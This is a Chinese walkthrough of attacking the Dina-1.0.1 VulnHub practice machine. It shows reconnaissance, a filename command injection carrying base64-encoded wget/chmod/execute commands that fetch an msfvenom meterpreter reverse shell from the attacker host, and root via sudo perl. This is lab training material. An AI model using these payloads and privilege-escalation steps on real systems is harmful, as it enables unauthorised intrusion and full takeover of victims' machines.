综合实战第一章
命令注入实战
环境准备
本次环境使用的是vulnhub靶场里面的Dina-1.0.1
靶场下载地址:https://www.vulnhub.com/entry/dina-101,200/
攻击机:kali 192.168.3.134
靶机:dina 192.168.3.159
信息搜集
老规矩,nmap
nmap -p- -A 192.168.3.159
只有80端口,进网页看看
啥也没有,只好扫一扫敏感目录,用dirb和nikto找一找
dirb http://192.168.3.159
nikto -h http://192.168.3.159
找到robots.txt,去看一眼
都挨个看看有没有能利用的地方
找了一圈发现除了nothing
别的都是目录
看一下源码
暂时不知道干啥,先扔这
再去这里面看看
下载下来看看
打开提示输入密码,我们把上面源代码里面的注释挨个试试
用freedom解压成功,出来一个mp3格式的文件
双击发现打不开,查看文件格式
file backup-cred.mp3
cat backup-cred.mp3
访问这个url
输入用户名和密码,密码就从上面源代码里面试,最后发现是diana
在这个网站找找有没有什么可以利用的地方
找到一个上传点
打开burpsuite
上传一个csv文件,抓包
扔进send to repeater里面
然后放行,查看上传到哪个位置
都找了一遍目录之后发现找不到文件
再抓一下包,看看文件名能不能进行更改
发现回显整出来了
发现存在命令执行漏洞
构造木马
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.3.134 lport=4444 -f elf > /root/shell
打开msf
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.3.134
set lport 4444
exploit
再打开一个窗口
python -m SimpleHTTPServer
把下载指令base64编码一下
echo 'wget http://192.168.3.134:8000/shell -O /tmp/shell' | base64
echo 'chmod 777 /tmp/shell' | base64
echo '/tmp/shell' | base64
漏洞利用
可以抓包,构造上传木马语句
"<?php shell_exec(base64_decode('上面的base64编码'));die();?>.php"
有人下载了
成功
提权
接下来就是提权了
shell
sudo -l
先查看权限
发现在perl里面是所有权限
先美化界面
python -c 'import pty;pty.spawn("/bin/bash")'
提权
sudo perl -e "exec '/bin/sh'"
直接就是root权限了
拿到flag